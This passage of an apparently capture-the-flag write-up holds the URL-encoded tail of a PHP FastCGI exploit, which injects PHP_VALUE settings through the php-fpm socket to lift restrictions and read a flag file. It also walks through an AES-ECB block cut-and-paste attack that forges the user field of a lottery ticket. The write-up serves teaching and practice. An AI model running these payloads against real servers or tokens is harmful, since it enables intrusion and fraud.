class="hljs-symbol">%20</span>multiplex<span class="hljs-symbol">%20</span><span class="hljs-symbol">%5</span>BCANT_MPX_CONN<span class="hljs-symbol">%5</span>D<span class="hljs-symbol">%27</span><span class="hljs-symbol">%29</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>break<span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>case<span class="hljs-symbol">%20</span>self<span class="hljs-symbol">%3</span>A<span class="hljs-symbol">%3</span>AOVERLOADED<span class="hljs-symbol">%3</span>A<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>throw<span class="hljs-symbol">%20</span>new<span class="hljs-symbol">%20</span>Exception<span class="hljs-symbol">%28</span><span class="hljs-symbol">%27</span>New<span class="hljs-symbol">%20</span>request<span class="hljs-symbol">%20</span>rejected<span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%20</span>too<span class="hljs-symbol">%20</span>busy<span class="hljs-symbol">%20</span><span class="hljs-symbol">%5</span>BOVERLOADED<span class="hljs-symbol">%5</span>D<span class="hljs-symbol">%27</span><span class="hljs-symbol">%29</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>break<span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>case<span class="hljs-symbol">%20</span>self<span class="hljs-symbol">%3</span>A<span class="hljs-symbol">%3</span>AUNKNOWN_ROLE<span class="hljs-symbol">%3</span>A<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>throw<span class="hljs-symbol">%20</span>new<span class="hljs-symbol">%20</span>Exception<span class="hljs-symbol">%28</span><span class="hljs-symbol">%27</span>Role<span class="hljs-symbol">%20</span>value<span class="hljs-symbol">%20</span>not<span class="hljs-symbol">%20</span>known<span class="hljs-symbol">%20</span><span class="hljs-symbol">%5</span>BUNKNOWN_ROLE<span class="hljs-symbol">%5</span>D<span class="hljs-symbol">%27</span><span class="hljs-symbol">%29</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>break<span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>case<span class="hljs-symbol">%20</span>self<span class="hljs-symbol">%3</span>A<span class="hljs-symbol">%3</span>AREQUEST_COMPLETE<span class="hljs-symbol">%3</span>A<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span>return<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>response<span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>D<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%7</span>D<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%7</span>D<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%24</span>connect_path<span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span><span class="hljs-symbol">%27</span>unix<span class="hljs-symbol">%3</span>A<span class="hljs-symbol">%2</span>f<span class="hljs-symbol">%2</span>f<span class="hljs-symbol">%2</span>fvar<span class="hljs-symbol">%2</span>frun<span class="hljs-symbol">%2</span>fphp-fpm.sock<span class="hljs-symbol">%27</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%24</span>port<span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span><span class="hljs-number">-1</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%24</span>filepath<span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span><span class="hljs-symbol">%27</span><span class="hljs-symbol">%2</span>fvar<span class="hljs-symbol">%2</span>fwww<span class="hljs-symbol">%2</span>fhtml<span class="hljs-symbol">%2</span>findex.php<span class="hljs-symbol">%27</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%24</span>req<span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span><span class="hljs-symbol">%27</span><span class="hljs-symbol">%2</span>f<span class="hljs-symbol">%27</span><span class="hljs-symbol">%20</span>.<span class="hljs-symbol">%20</span>basename<span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>filepath<span class="hljs-symbol">%29</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%24</span>uri<span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>req<span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%24</span>client<span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span>new<span class="hljs-symbol">%20</span>FCGIClient<span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>connect_path<span class="hljs-symbol">%2</span>C<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>port<span class="hljs-symbol">%29</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%24</span>php_value<span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span><span class="hljs-symbol">%22</span>allow_url_include<span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span>On<span class="hljs-symbol">%5</span>Cnopen_basedir<span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span><span class="hljs-symbol">%2</span>f<span class="hljs-symbol">%22</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%24</span>params<span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%20</span>array<span class="hljs-symbol">%28</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%27</span>GATEWAY_INTERFACE<span class="hljs-symbol">%27</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%3</span>E<span class="hljs-symbol">%20</span><span class="hljs-symbol">%27</span>FastCGI<span class="hljs-symbol">%2</span>f<span class="hljs-number">1.0</span><span class="hljs-symbol">%27</span><span class="hljs-symbol">%2</span>C<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%27</span>REQUEST_METHOD<span class="hljs-symbol">%27</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%3</span>E<span class="hljs-symbol">%20</span><span class="hljs-symbol">%27</span>GET<span class="hljs-symbol">%27</span><span class="hljs-symbol">%2</span>C<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%27</span>SCRIPT_FILENAME<span class="hljs-symbol">%27</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%3</span>E<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>filepath<span class="hljs-symbol">%2</span>C<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%27</span>SCRIPT_NAME<span class="hljs-symbol">%27</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%3</span>E<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>req<span class="hljs-symbol">%2</span>C<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%27</span>REQUEST_URI<span class="hljs-symbol">%27</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%3</span>E<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>uri<span class="hljs-symbol">%2</span>C<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%27</span>DOCUMENT_URI<span class="hljs-symbol">%27</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%3</span>E<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>req<span class="hljs-symbol">%2</span>C<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%27</span>PHP_VALUE<span class="hljs-symbol">%27</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%3</span>E<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>php_value<span class="hljs-symbol">%2</span>C<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%27</span>SERVER_SOFTWARE<span class="hljs-symbol">%27</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%3</span>E<span class="hljs-symbol">%20</span><span class="hljs-symbol">%27</span>kaibro-fastcgi-rce<span class="hljs-symbol">%27</span><span class="hljs-symbol">%2</span>C<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%27</span>REMOTE_ADDR<span class="hljs-symbol">%27</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%3</span>E<span class="hljs-symbol">%20</span><span class="hljs-symbol">%27127</span>.<span class="hljs-number">0.0</span>.<span class="hljs-number">1</span><span class="hljs-symbol">%27</span><span class="hljs-symbol">%2</span>C<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%27</span>REMOTE_PORT<span class="hljs-symbol">%27</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%3</span>E<span class="hljs-symbol">%20</span><span class="hljs-symbol">%279985</span><span class="hljs-symbol">%27</span><span class="hljs-symbol">%2</span>C<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%27</span>SERVER_ADDR<span class="hljs-symbol">%27</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%3</span>E<span class="hljs-symbol">%20</span><span class="hljs-symbol">%27127</span>.<span class="hljs-number">0.0</span>.<span class="hljs-number">1</span><span class="hljs-symbol">%27</span><span class="hljs-symbol">%2</span>C<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%27</span>SERVER_PORT<span class="hljs-symbol">%27</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%3</span>E<span class="hljs-symbol">%20</span><span class="hljs-symbol">%2780</span><span class="hljs-symbol">%27</span><span class="hljs-symbol">%2</span>C<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%27</span>SERVER_NAME<span class="hljs-symbol">%27</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%3</span>E<span class="hljs-symbol">%20</span><span class="hljs-symbol">%27</span>localhost<span class="hljs-symbol">%27</span><span class="hljs-symbol">%2</span>C<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%27</span>SERVER_PROTOCOL<span class="hljs-symbol">%27</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%3</span>D<span class="hljs-symbol">%3</span>E<span class="hljs-symbol">%20</span><span class="hljs-symbol">%27</span>HTTP<span class="hljs-symbol">%2</span>f<span class="hljs-number">1.1</span><span class="hljs-symbol">%27</span><span class="hljs-symbol">%2</span>C<span class="hljs-symbol">%0</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%20</span><span class="hljs-symbol">%29</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>Aecho<span class="hljs-symbol">%20</span><span class="hljs-symbol">%22</span>Call<span class="hljs-symbol">%3</span>A<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>uri<span class="hljs-symbol">%5</span>Cn<span class="hljs-symbol">%5</span>Cn<span class="hljs-symbol">%22</span><span class="hljs-symbol">%3</span>B<span class="hljs-symbol">%0</span>Aecho<span class="hljs-symbol">%20</span><span class="hljs-symbol">%24</span>client-<span class="hljs-symbol">%3</span>Erequest<span class="hljs-symbol">%28</span><span class="hljs-symbol">%24</span>params<span class="hljs-symbol">%2</span>C<span class="hljs-symbol">%20</span>NULL<span class="hljs-symbol">%29</span><span class="hljs-symbol">%3</span>B

echo base<span class="hljs-number">64</span>_encode(file_get_contents(<span class="hljs-string">"/flag.so"</span>))<span class="hljs-comment">;</span></code></pre><p>The flag is <code>flag{FFi_1s_qu1T3_DANg1ouS}</code>.</p>
<h3 id="lottery"><a class="header-link" href="#lottery"></a>lottery</h3>
<p>This is more like a crypto challenge.</p>
<p>The lottery is encrypted using AES-ECB mode, so the idea here is cut-and-paste attack.</p>
<pre class="hljs"><code><span class="hljs-symbol">0 </span> { <span class="hljs-comment">'lottery': '19 | d5b3a52053c345b1f6581f62af2cc374</span>
<span class="hljs-symbol">1 </span> <span class="hljs-number">7e66</span>b8-c0d5-<span class="hljs-number">4</span>f05 | bdd3e814eaf73146bb0dbe98a9d61508
<span class="hljs-symbol">2 </span> -<span class="hljs-number">962</span>f-c18e2c7d82 | <span class="hljs-number">7d</span>cecb8a3ccd69b0c5a578f3fa6ba7fd
<span class="hljs-symbol">3 </span> ef<span class="hljs-comment">', 'user': '32 | c6802e48a5597c58a876d86be98bb6e5</span>
<span class="hljs-symbol">4 </span> edaac1-c828-<span class="hljs-number">4</span>b41 | b22150f5c3204374f0a03a1906430cc1
<span class="hljs-symbol">5 </span> -<span class="hljs-number">9d</span>a0-<span class="hljs-number">6d32</span>cfa7c5 | <span class="hljs-number">1e14e0</span>ce6e77c2c1aa2482a02e439e96
<span class="hljs-symbol">6 </span> a6<span class="hljs-comment">', 'coin': 5 } | 08fa0515a89e650da6e5ad932497af4e</span>
<span class="hljs-symbol">7 </span> (padding)        | f6d2b7dade603f007022388485ecc598</code></pre><p>The plaintext and ciphertext are shown above. Note there are some weird space between. The coin here is not useful because the server will only give the corresponding coin according to the lottery id.</p>
<p>The idea is cut-and-paste the block to overwrite the <code>user</code>. Then if we register a quantity of users, we can profit!</p>
<p>Given another new lottery plaintext and ciphertext:</p>
<pre class="hljs"><code>A  { 'lottery': '<span class="hljs-number">66</span> <span class="hljs-string">| 80d2d4f735ad8344475d0fb6d0001a73</span>
B  <span class="hljs-number">801483</span>-<span class="hljs-number">93</span>d0-<span class="hljs-number">42</span>e8 <span class="hljs-string">| 77823dbb161e2e4c3143da08e3eb87e4</span>
C  -b867-<span class="hljs-number">8</span>dc2d54dcf <span class="hljs-string">| 9a84b5f07896a60246c74e31263eeb1c</span>
D  <span class="hljs-number">18</span>', 'user': 'ef <span class="hljs-string">| 4ea572ddf1709c16a017e50e9ccf60ae</span>
E  e21533-<span class="hljs-number">603</span>f-<span class="hljs-number">47</span>fe <span class="hljs-string">| 957865140c8014d09a16be6fb9651719</span>
F  -<span class="hljs-number">8</span>e37-<span class="hljs-number">8667</span>fc86ed <span class="hljs-string">| 675ffd20ab06ac7917f26fa0eb089571</span>
G  <span class="hljs-number">43</span>', 'coin': <span class="hljs-number">9</span> } <span class="hljs-string">| fb9a264302e0741b78d177f67fe0c4d0</span>
H                   <span class="hljs-string">| f6d2b7dade603f007022388485ecc598</span></code></pre><p>We cut the first 4 block <code>ABCD</code> here because they include the lottery block. As mention below the <code>coin</code> attribute is useless on the server side.</p>
<pre class="hljs"><code>A  { 'lottery': '<span class="hljs-number">66</span> <span class="hljs-string">| 80d2d4f735ad8344475d0fb6d0001a73</span>
B  <span class="hljs-number">801483</span>-<span class="hljs-number">93</span>d0-<span class="hljs-number">42</span>e8 <span class="hljs-string">| 77823dbb161e2e4c3143da08e3eb87e4</span>
C  -b867-<span class="hljs-number">8</span>dc2d54dcf <span class="hljs-string">| 9a84b5f07896a60246c74e31263eeb1c</span>
D  <span class="hljs-number">18</span>', 'user': 'ef <span class="hljs-string">| 4ea572ddf1709c16a017e50e9ccf60ae</span></code></pre><p>Next, combine with our original block <code>34567</code>, we have:</p>
<pre class="hljs"><code>A  { 'lottery': '<span class="hljs-number">66</span> | <span class="hljs-number">80</span>d<span class="hljs-number">2</span>d<span class="hljs-number">4</span>f<span class="hljs-number">735</span>ad<span class="hljs-number">8344475</span>d<span class="hljs-number">0</span>fb<span class="hljs-number">6</span>d<span class="hljs-number">0001</span>a<span class="hljs-number">73</span>
B  <span class="hljs-number">801483</span><span class="hljs-number">-93</span>d<span class="hljs-number">0</span><span class="hljs-number">-42e8</span> | <span class="hljs-number">77823</span>dbb<span class="hljs-number">161e2</span>e<span class="hljs-number">4</span><span class="hljs-keyword">c</span><span class="hljs-number">3143</span>da<span class="hljs-number">08e3</span>eb<span class="hljs-number">87e4</span>
C  -b<span class="hljs-number">867</span><span class="hljs-number">-8</span>dc<span class="hljs-number">2</span>d<span class="hljs-number">54</span>dcf | <span class="hljs-number">9</span>a<span class="hljs-number">84</span>b<span class="hljs-number">5</span>f<span class="hljs-number">07896</span>a<span class="hljs-number">60246</span><span class="hljs-keyword">c</span><span class="hljs-number">74e31263</span>eeb<span class="hljs-number">1</span><span class="hljs-keyword">c</span>
D  <span class="hljs-number">18</span>', 'user': 'ef | <span class="hljs-number">4</span>ea<span class="hljs-number">572</span>ddf<span class="hljs-number">1709</span><span class="hljs-keyword">c</span><span class="hljs-number">16</span>a<span class="hljs-number">017e50</span>e<span class="hljs-number">9</span>ccf<span class="hljs-number">60</span>ae
<span class="hljs-number">3</span>  ef', 'user': '<span class="hljs-number">32</span> | <span class="hljs-keyword">c</span><span class="hljs-number">6802e48</span>a<span class="hljs-number">5597</span><span class="hljs-keyword">c</span><span class="hljs-number">58</span>a<span class="hljs-number">876</span>d<span class="hljs-number">86</span>be<span class="hljs-number">98</span>bb<span class="hljs-number">6e5</span>
<span class="hljs-number">4</span>  edaac<span class="hljs-number">1</span>-<span class="hljs-keyword">c</span><span class="hljs-number">828</span><span class="hljs-number">-4</span>b<span class="hljs-number">41</span> | b<span class="hljs-number">22150</span>f<span class="hljs-number">5</span><span class="hljs-keyword">c</span><span class="hljs-number">3204374</span>f<span class="hljs-number">0</span>a<span class="hljs-number">03</span>a<span class="hljs-number">1906430</span><span class="hljs-keyword">cc</span><span class="hljs-number">1</span>
<span class="hljs-number">5</span>  <span class="hljs-number">-9</span>da<span class="hljs-number">0</span><span class="hljs-number">-6</span>d<span class="hljs-number">32</span>cfa<span class="hljs-number">7</span><span class="hljs-keyword">c</span><span class="hljs-number">5</span> | <span class="hljs-number">1e14</span>e<span class="hljs-number">0</span>ce<span class="hljs-number">6e77</span><span class="hljs-keyword">c</span><span class="hljs-number">2</span><span class="hljs-keyword">c</span><span class="hljs-number">1</span>aa<span class="hljs-number">2482</span>a<span class="hljs-number">02e439</span>e<span class="hljs-number">96</span>
<span class="hljs-number">6</span>  a<span class="hljs-number">6</span>', 'coin': <span class="hljs-number">5</span> } | <span class="hljs-number">08</span>fa<span class="hljs-number">0515</span>a<span class="hljs-number">89e650</span>da<span class="hljs-number">6e5</span>ad<span class="hljs-number">932497</span>af<span class="hljs-number">4</span>e
<span class="hljs-number">7</span>  (padding)        | f<span class="hljs-number">6</span>d<span class="hljs-number">2</span>b<span class="hljs-number">7</span>dade<span class="hljs-number">603</span>f<span class="hljs-number">007022388485</span>ecc<span class="hljs-number">598</span></code></pre><p>We&#39;re abusing the fact that JSON can have duplicated attributes, and the latter will overwrite the former. Regarding <code>coin</code>, as mention below the server will not use it to determine the lottery prize. Instead, it depends on the lottery id.</p>
<p>Here is the full payload:</p>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python3</span>
<span class="hljs-keyword">import</span> requests
